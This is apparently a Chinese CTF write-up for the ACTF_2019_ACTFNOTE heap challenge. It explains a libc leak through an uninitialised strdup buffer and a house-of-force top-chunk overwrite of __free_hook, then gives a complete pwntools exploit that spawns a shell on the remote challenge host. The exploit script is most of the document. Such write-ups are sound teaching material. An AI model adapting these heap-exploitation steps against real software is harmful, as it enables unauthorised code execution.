文章目录
- 前置知识
- 整体思路
- exp
前置知识
house of force
- 数组未初始化漏洞
整体思路
感谢hav1k
师傅。首先,通过strdup
输入的字符串数组没有初始化,里面本身就包含libc
地址,其位于偏移0x18
的地方,因此输入长度为0x18
的字符填充后即可获得libc
地址。
接下来,strdup
输入这部分内容产生的chunk
不一定大小为0x30
,而在edit
函数中固定可以输入大小为0x20
的内容,因此存在溢出。
可以溢出控制top chunk
,先写size
为-1
,然后malloc
负数来申请到重叠指针,由此改__free_hook
得到结果。
这里放个house of force
的公式:
request_size = new_top_chunk_addr - old_top_chunk_addr - 0x10;
// 其中request_size为malloc的大小
// new_top_chunk_addr是申请后top chunk会处于的位置
// old_top_chunk_addr是申请前top chunk会处于的位置
// 这道题中还要注意add中会先malloc(0x18)改变top chunk,算改变后的
exp
from pwn import *
from LibcSearcher import *
filename = './ACTF_2019_ACTFNOTE'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 26122)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = '/$ '
menu_add = 1
add_index_words = ''
add_size_words = 'please input note name size: '
add_name_words = 'please input note name: '
add_content_words = 'please input note content: '
menu_del = 3
del_index_words = 'input note id: '
menu_show = 4
show_index_words = 'input note id: '
menu_edit = 2
edit_index_words = 'input note id: '
edit_size_words = ''
edit_content_words = 'please input new note content: '
def add(index=-1, size=-1, name='', content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_name_words:
sh.sendafter(add_name_words, name)
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
add(size=0x10,name='a\n',content='b'*0x18) #0
add(size=0x10,name='a\n',content='aaaaaaaa') #1
show(index=0)
sh.recvuntil(b'b'*0x18)
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x8e3f2
leak_info('libc.address', libc.address)
add(size=0x10, name='a\n', content='aaaaaaaa') # 2
payload = b'a'*0x18 + p64(0xffffffffffffffff)
edit(index=2, content=payload)
add(size=-0x80, name=p64(libc.sym['__free_hook']), content='')
# sh.recv()
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
edit(index=2, content=p64(libc.address + one_gadget[1]))
delete(index=0)
sh.interactive()
# debug()
参考内容
ACTF_2019_ACTFNOTE(top chunk上移)_topchunk发生合并上抬-CSDN博客
关于house of force的学习总结 - ZikH26 - 博客园 (cnblogs.com)